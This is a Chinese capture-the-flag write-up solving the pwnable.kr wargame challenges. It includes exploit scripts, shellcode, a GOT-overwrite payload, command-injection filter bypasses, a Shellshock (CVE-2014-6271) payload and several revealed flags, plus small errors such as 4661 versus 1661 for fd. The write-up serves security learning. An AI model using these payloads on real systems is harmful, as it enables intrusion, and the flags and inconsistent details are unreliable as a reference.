pwnable.kr fd
pwnable.kr collision
pwnable.kr bof
pwnable.kr flag
pwnable.kr passcode
pwnable.kr random
pwnable.kr input
pwnable.kr leg
pwnable.kr mistake
pwnable.kr shellshock
pwnable.kr coin1
pwnable.kr lotto
pwnable.kr cmd1
pwnable.kr cmd2
pwnable.kr uaf
pwnable.kr blukat
pwnable.kr memcpy
pwnable.kr asm
pwnable.kr unlink
pwnable.kr horcruxes
题目描述
Mommy! what is a file descriptor in Linux?
- try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQwssh fd@pwnable.kr -p2222
题目源码
#include
#include
#include
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
知识点
ssize_t read(int fd, void *buf, size_t count);
中fd
的含义0:stdin、1:stdout、2:stderr
解体思路
输入第二个参数为4661,减去0x1234就是1,即从标准输入读入数据。
./fd 1661
LETMEWIN
题目描述
Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!ssh col@pwnable.kr -p2222 ()
题目源码
#include
#include
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
解题思路
输入20字节字符串, 转换成5个int, 相加结果等于0x21DD09EC
>>> int('0x21DD09EC', 16)
568134124
>>> 568134124 // 5
113626824
>>> hex(113626824)
'0x6c5cec8'
>>> 568134124 % 5
4
>>> hex(113626824 + 4)
'0x6c5cecc'
payload
./col `python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'`
题目描述
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.cRunning at : nc pwnable.kr 9000
题目源码
#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
payload
from pwn import *
io = remote('pwnable.kr', 9000)
payload = flat(cyclic(0x2c+4+4), p32(0xcafebabe))
io.sendline(payload)
io.interactive()
题目描述
Papa brought me a packed present! let’s open it.
Download : http://pwnable.kr/bin/flag
This is reversing task. all you need is binary
做题思路
ida看到的信息和直接执行的信息不一样,并且ida提供的信息很少。查壳工具看下有upx壳,upx -d flag
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // ST08_8
puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}
结果flag没有被加密,双击可以看到内容。
题目描述
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?ssh passcode@pwnable.kr -p2222 ()
#include
#include
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
解体思路
需要满足passcode1==338150 && passcode2==13371337
,但是scanf函数中给的参数直接是变量,并没有加地址,所以执行时会出现错误,报错如下
passcode@pwnable:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : hello
Welcome hello!
enter passcode1 : 338150
Segmentation fault (core dumped)
welcome
函数和login
函数在main函数中间没有间隔其他的代码,所以执行两个函数时栈帧的ebp一定是一样的,也可以用gdb调试验证。
输入name的时候,发现被存储在0xffffd168
位置,此时ebp值为0xffffd1d8
,name数组大小100,因此可以写范围为[0xffffd168-0xffffd1cc)
在login函数中,ebp值为0xffffd1d8
;当输入完passcode1=2222(0x8ae)时,查看栈帧
0xffffd1c8 —▸ 0xffffd220 ◂— 0x8ae
,可以看到passcode1的地址为0xffffd1c8
,根据先声明的变量后压栈,passcode2的地址应该是0xffffd1cc
,因此在welcome函数中只能覆盖掉passcode1变量的地址,不能覆盖掉passcode2变量所在的地址。即写name变量时输入96个字符
后再输入的4个字符就是覆盖的passcode1的内容。而之后又有scanf,这样就可以向任意可写地址写入数据。
可以看到flush函数会跳转到0x0804a004
地址处,其实flush的作用就是跳转到某个地址去执行,执行完后再跳转回来。
所以可以向这个地址处写入system(’/bin/cat flag’)
指令的地址。
ida中内容如下
.text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
因为scanf(%d, passcode1)
是按十进制读入数据。
payload
python -c 'print "\x01"*96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode
题目描述
Daddy, teach me how to use random value in programming!
ssh random@pwnable.kr -p2222 ()
下载文件scp -P 2222 random@pwnable.kr:/home/random/random.c .
题目源码
#include
int main(){
unsigned int random;
random = rand(); // random value!
unsigned int key=0;
scanf("%d", &key);
if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}
printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004005f4 <+0>: push rbp
0x00000000004005f5 <+1>: mov rbp,rsp
0x00000000004005f8 <+4>: sub rsp,0x10
0x00000000004005fc <+8>: mov eax,0x0
0x0000000000400601 <+13>: call 0x400500
0x0000000000400606 <+18>: mov DWORD PTR [rbp-0x4],eax
pwndbg> b *0x0000000000400606
Breakpoint 1 at 0x400606
pwndbg> r
Starting program: /home/jgc/lab2/random
pwndbg> p $eax
$1 = 1804289383
pwndbg> r
Starting program: /home/jgc/lab2/random
[Thread debugging using libthread_db enabled]
pwndbg> p $eax
$2 = 1804289383
两次运行产生的随机数一样
payload
>>> ans = 1804289383 ^ 0xdeadbeef
>>> ans
3039230856
题目描述
Mom? how can I pass my input to a computer program?
ssh input2@pwnable.kr -p2222 ()
题目源码
#include
#include
#include
#include
#include
int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");
// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");
// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");
// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");
// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");
// here's your flag
system("/bin/cat flag");
return 0;
}
在服务器上不能直接写文件, guest权限不够, 但是/tmp
文件夹是可以写的, 所以可以用process的cwd改变运行目录, 然后写入文件
开个本机的端口, 其中端口为argv[‘C’]的值, 需要向这个端口传递"\xde\xad\xbe\xef".
因为再第四步需要把运行环境切换到/tmp目录下, 则第五步通过之后读取flag要通过软连接索引到/home/input2/flag, 但是/tmp文件夹下guest无权限读取, 所以应该以guest用户创建一个文件夹, 在这个文件夹下guest用户拥有读写的权限(因为是拥有者)
# python2
from pwn import *
import os
os.system('mkdir /tmp/pwn')
os.system('ln -s /home/input2/flag /tmp/pwn/flag')
args = list('a' * 100)
args[0]='./input'
args[ord('A')] = '\x00'
args[ord('B')] = '\x20\x0a\x0d'
stdi = b'\x00\x0a\x00\xff'
write('/tmp/pwn/stdi', stdi)
stde = b'\x00\x0a\x02\xff'
write('/tmp/pwn/stde', stde)
env_dict = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}
buf = b'\x00\x00\x00\x00'
write('/tmp/pwn/\x0a', buf)
args[ord('C')] = '6666'
p = process(argv=args, stdin=open('/tmp/pwn/stdi'), stderr=open('/tmp/pwn/stde'),
env=env_dict, cwd='/tmp/pwn', executable='/home/input2/input')
io = remote("localhost", 6666)
io.send(b'\xde\xad\xbe\xef')
io.close()
p.interactive()
scp -P2222 ./a.py input2@pwnable.kr:/tmp/exp.py
题目描述
Daddy told me I should study arm.
But I prefer to study my leg!Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asmssh leg@pwnable.kr -p2222 ()
题目源码
//leg.c
#include
#include
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Daddy has very strong arm! : ");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
int fd = open("flag", O_RDONLY);
char buf[100];
int r = read(fd, buf, 100);
write(0, buf, r);
}
else{
printf("I have strong leg :P\n");
}
return 0;
}
//leg.asm
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0
0x00008d54 <+24>: bl 0xfb6c
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8
0x00008d98 <+92>: bl 0x1050c
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc
0x00008da0 <+100>: bl 0xf89c
0x00008da4 <+104>: b 0x8db0
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0
0x00008dac <+112>: bl 0x1050c
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; instruction: 0x0006a4b0
0x00008dcc <+144>: ; instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)
arm相关知识
arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。
arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址。
ARM指令是三级流水线,取指,译指,执行时同时执行的,现在PC指向的是正在取指的地址,那么cpu正在译指的指令地址是PC-4(假设在ARM状态下,一个指令占4个字节),cpu正在执行的指令地 址是PC-8,也就是说PC所指向的地址和现在所执行的指令地址相差8。
- 1
- 2
对于key1
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
是将pc的值给了r0,而执行mov r3, pc
时,由于指令流水,此时pc的值为0x00008ce4
,即为key1的值。
同理key2=0x00008d0c
lr寄存器中存储的是子函数的返回地址
key3=0x00008d80
key=0x00008ce4+0x00008d0c+0x00008d80
题目描述
We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)This task is based on real event
Thanks to dhmonkeyhint : operator priority
ssh mistake@pwnable.kr -p2222 ()
题目源码
#include
#include
#define PW_LEN 10
#define XORKEY 1
void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}
int main(int argc, char* argv[]){
int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
printf("do not bruteforce...\n");
sleep(time(0)%20);
char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
printf("read error\n");
close(fd);
return 0;
}
char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);
// xor your input
xor(pw_buf2, 10);
if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}
close(fd);
return 0;
}
注意一下代码
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
printf("can't open password %d\n", fd);
return 0;
}
等价于if(fd = 1 < 0)
,会先运算1<0
然后把结果0赋值给fd,再后面读取时就是从0也就是标准输入读入数据。
A的binary为01000001, @的binary为01000000
所以输入AAAAAAAAAA
, 和@@@@@@@@@@
即可通过检测读取flag
题目描述
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 😃ssh shellshock@pwnable.kr -p2222 ()
题目源码
#include
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
int setresuid(uid_t ruid, uid_t euid, uid_t suid); int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
- 1
- 2
查看所有文件信息
shellshock@pwnable:~$ ls -al
total 980
drwxr-x--- 5 root shellshock 4096 Oct 23 2016 .
drwxr-xr-x 116 root root 4096 Nov 11 2021 ..
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
d--------- 2 root root 4096 Oct 12 2014 .bash_history
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
dr-xr-xr-x 2 root root 4096 Oct 12 2014 .irssi
drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
此时进程shellshock如果有shellshock_pwn用户组的权限, 即可以读取flag
查看bash二进制文件的版本
shellshock@pwnable:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
bash在4.3版本往下有 CVE-2014-6271 的所谓 破壳漏洞.
可以在环境变量中通过构造函数执行bash命令, 所以利用shellshock的读取flag权限构造cat flag命令即可读取flag
此cve利用env x='() { :;}; bash -c "cat ./flag"' ./shellshock
理解:定义一个环境变量x,函数为空,不调用则不执行,但是x后面跟着bash -c,不调用也会执行。并且当执行shellshock时会解析环境变量中的bash -c,导致读出flag。
CVE-2014-6271链接https://zgao.top/bash%E7%A0%B4%E5%A3%B3%E6%BC%8F%E6%B4%9Ecve-2014-6271%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/
题目描述
Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)Running at : nc pwnable.kr 9007
payload是python3版本
from pwn import *
def judge(start, end, index):
lt = [str(i) for i in range(start, index+1)]
lt = ' '.join(lt)
log.info(lt)
io.sendline(lt.encode())
msg = io.recv().decode().rstrip()
log.info(msg)
if int(msg) != (index-start+1)*10:
return True
else:
return False
def binary_search(start, end):
while (start<=end):
mid = (start+end)//2
if judge(start, end, mid):
end = mid-1
else:
start = mid+1
return start
io = remote('pwnable.kr', 9007)
io.recv()
for i in range(100):
msg= io.recvline().decode().rstrip()
str1, str2 = msg.split(' ')
N = int(str1.split('=')[1])
C = int(str2.split('=')[1])
log.info('N = ' + str(N) + ' C = ' + str(C))
start = 0
end = N
res = binary_search(0, end)
io.sendline(str(res).encode())
msg = io.recv().decode()
log.info(msg)
while 'Correct' not in msg:
io.sendline(str(res).encode())
msg = io.recv().decode()
log.info(msg)
题目描述
Mommy! I made a lotto program for my homework.
do you want to play?ssh lotto@pwnable.kr -p2222 ()
#include
#include
#include
#include
unsigned char submit[6];
void play(){
int i;
printf("Submit your 6 lotto bytes : ");
fflush(stdout);
int r;
r = read(0, submit, 6);
printf("Lotto Start!\n");
//sleep(1);
// generate lotto numbers
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1){
printf("error. tell admin\n");
exit(-1);
}
unsigned char lotto[6];
if(read(fd, lotto, 6) != 6){
printf("error2. tell admin\n");
exit(-1);
}
for(i=0; i<6; i++){
lotto[i] = (lotto[i] % 45) + 1; // 1 ~ 45
}
close(fd);
// calculate lotto score
int match = 0, j = 0;
for(i=0; i<6; i++){
for(j=0; j<6; j++){
if(lotto[i] == submit[j]){
match++;
}
}
}
// win!
if(match == 6){
system("/bin/cat flag");
}
else{
printf("bad luck...\n");
}
}
void help(){
printf("- nLotto Rule -\n");
printf("nlotto is consisted with 6 random natural numbers less than 46\n");
printf("your goal is to match lotto numbers as many as you can\n");
printf("if you win lottery for *1st place*, you will get reward\n");
printf("for more details, follow the link below\n");
printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
printf("mathematical chance to win this game is known to be 1/8145060.\n");
}
int main(int argc, char* argv[]){
// menu
unsigned int menu;
while(1){
printf("- Select Menu -\n");
printf("1. Play Lotto\n");
printf("2. Help\n");
printf("3. Exit\n");
scanf("%d", &menu);
switch(menu){
case 1:
play();
break;
case 2:
help();
break;
case 3:
printf("bye\n");
return 0;
default:
printf("invalid menu\n");
break;
}
}
return 0;
}
游戏要求6个字节, 并将其与范围[1-45]内的6个随机字节进行比较, 如果匹配数是6, 则获胜
仔细看代码发现程序将每个随机字节与所有6个输入字节进行比较, 所以如果只有一个匹配, 则获胜, 所以可以将输入6个相同的字符(在范围[1-45]), 并赌有一个匹配
payload
from pwn import *
sh = ssh('lotto', 'pwnable.kr', ='', port=2222)
p = sh.process('./lotto')
# context.log_level = 'debug'
while True:
p.sendlineafter(b'3. Exit\n', b'1')
p.recv()
p.sendline(b'------')
_, ans = p.recvlines(2)
if b'bad' not in ans:
print(ans)
break
题目描述
Mommy! what is PATH environment in Linux?
ssh cmd1@pwnable.kr -p2222 ()
#include
#include
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}
./cmd1 '/bin/cat fla*'
过滤掉/
,切换到根目录下使用$(pwd)
来制作/
/home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)fla*'
题目描述
Mommy, what is Use After Free bug?
ssh uaf@pwnable.kr -p2222 ()
知识点
其实简单来说就是因为分配的内存释放后,指针没有因为内存释放而变为NULL,而是继续指向已经释放的内存。攻击者可以利用这个指针对内存进行读写。
一旦一个类有虚函数,编译器会为这个类建立一张vtable。子类继承父类vtable中所有项,当子类有同名函数时,修改vtable同名函数地址,改为指向子类的函数地址,子类有新的虚函数时,在vtable中添加。
vptr每个对象都会有一个,而vptable是每个类有一个
vptr指向vtable
一个类中就算有多个虚函数,也只有一个vptr
做多重继承的时候,继承了多个父类,就会有多个vptr
只要用shellcode的地址覆盖其中一个函数指针,就能够达成执行任意指令
可以看到,程序给每个对象分配了0x18即24个字节。
参考链接
https://blog.csdn.net/qq_20307987/article/details/51511230
https://www.cnblogs.com/bizhu/archive/2012/09/25/2701691.html
blukat@pwnable:~$ id
uid=1104(blukat) gid=1104(blukat) groups=1104(blukat),1105(blukat_pwn)
blukat@pwnable:~$ ls -l
total 20
-r-xr-sr-x 1 root blukat_pwn 9144 Aug 8 2018 blukat
-rw-r--r-- 1 root root 645 Aug 8 2018 blukat.c
-rw-r----- 1 root blukat_pwn 33 Jan 6 2017 password
blukat用户属组有blukat_pwn,可以读取blukat_pwn组的password文件
blukat@pwnable:~$ cat password
cat: password: Permission denied
blukat@pwnable:~$ ./blukat
guess the password!
cat: password: Permission denied
congrats! here is your flag: Pl3as_DonT_Miss_youR_GrouP_Perm!!
xmm0是SSE的128位寄存器
movdqa 移动对其16字节边界
movntps 对应源操作数为XMM,则目的内存为128比特内存位置。内存必须16字节对齐,否则会生成一个 general-protection 异常。
感觉思路应该是这样的,dst变量是malloc出来的,当malloc申请的空间大于64字节时,会申请chunk,而chunk的结构是前面有16个字节的数据,然后跟申请的data大小的空间,然后跟4字节的其他数据,要做到16字节对齐,地址最低4位必须是0,也就是chunk的大小要是8字节的整数倍。
➜ ~ nc pwnable.kr 9022
Hey, I have a boring assignment for CS class.. :(
The assignment is simple.
-----------------------------------------------------
- What is the best implementation of memcpy? -
- 1. implement your own slow/fast version of memcpy -
- 2. compare them with various size of data -
- 3. conclude your experiment and submit report -
-----------------------------------------------------
This time, just help me out with my experiment and get flag
No fancy hacking, I promise :D
specify the memcpy amount between 8 ~ 16 : 8
specify the memcpy amount between 16 ~ 32 : 16
specify the memcpy amount between 32 ~ 64 : 32
specify the memcpy amount between 64 ~ 128 : 72
specify the memcpy amount between 128 ~ 256 : 136
specify the memcpy amount between 256 ~ 512 : 264
specify the memcpy amount between 512 ~ 1024 : 520
specify the memcpy amount between 1024 ~ 2048 : 1032
specify the memcpy amount between 2048 ~ 4096 : 2056
specify the memcpy amount between 4096 ~ 8192 : 4104
ok, lets run the experiment with your configuration
experiment 1 : memcpy with buffer size 8
ellapsed CPU cycles for slow_memcpy : 2271
ellapsed CPU cycles for fast_memcpy : 357
experiment 2 : memcpy with buffer size 16
ellapsed CPU cycles for slow_memcpy : 309
ellapsed CPU cycles for fast_memcpy : 303
experiment 3 : memcpy with buffer size 32
ellapsed CPU cycles for slow_memcpy : 519
ellapsed CPU cycles for fast_memcpy : 504
experiment 4 : memcpy with buffer size 72
ellapsed CPU cycles for slow_memcpy : 1056
ellapsed CPU cycles for fast_memcpy : 240
experiment 5 : memcpy with buffer size 136
ellapsed CPU cycles for slow_memcpy : 1917
ellapsed CPU cycles for fast_memcpy : 267
experiment 6 : memcpy with buffer size 264
ellapsed CPU cycles for slow_memcpy : 3621
ellapsed CPU cycles for fast_memcpy : 270
experiment 7 : memcpy with buffer size 520
ellapsed CPU cycles for slow_memcpy : 7194
ellapsed CPU cycles for fast_memcpy : 336
experiment 8 : memcpy with buffer size 1032
ellapsed CPU cycles for slow_memcpy : 13878
ellapsed CPU cycles for fast_memcpy : 474
experiment 9 : memcpy with buffer size 2056
ellapsed CPU cycles for slow_memcpy : 27573
ellapsed CPU cycles for fast_memcpy : 846
experiment 10 : memcpy with buffer size 4104
ellapsed CPU cycles for slow_memcpy : 59736
ellapsed CPU cycles for fast_memcpy : 1638
thanks for helping my experiment!
flag : 1_w4nn4_br34K_th3_m3m0ry_4lignm3nt
参考链接
https://blog.csdn.net/pwd_3/article/details/78088583
https://blog.csdn.net/think_ycx/article/details/83053410
参考链接https://blog.csdn.net/Jason_ZhouYetao/article/details/81169316
#!/user/bin/python
from pwn import *
con = ssh(host='pwnable.kr', user='asm', , port=2222)
p = con.connect_remote('localhost', 9026)
context(arch='amd64', os='linux')
shellcode = ""
shellcode += shellcraft.open('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
print(p.recv())
p.send(asm(shellcode))
print(p.recvline())
shellcraft.read函数默认读入的buffer参数就是rsp
跳过,待更
from pwn import *
context.log_level = 'debug'
elf = ELF('./horcruxes')
io = remote('pwnable.kr', 9032)
payload = flat(b'a'*(0x74+4), p32(elf.symbols['A']), p32(elf.symbols['B']), p32(elf.symbols['C']), p32(elf.symbols['D']), p32(elf.symbols['E']), p32(elf.symbols['F']), p32(elf.symbols['G']), p32(0x0809FFFC))
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(payload)
res = 0
for i in range(7):
io.recvuntil('EXP +')
res += int((io.recvline()[:-2]).decode())
io.recv()
io.sendline(b'1')
io.sendline(str(res).encode())
io.interactive()
参考链接
https://blog.csdn.net/r250414958/article/details/105455891
https://blog.csdn.net/fastergohome/article/details/103855101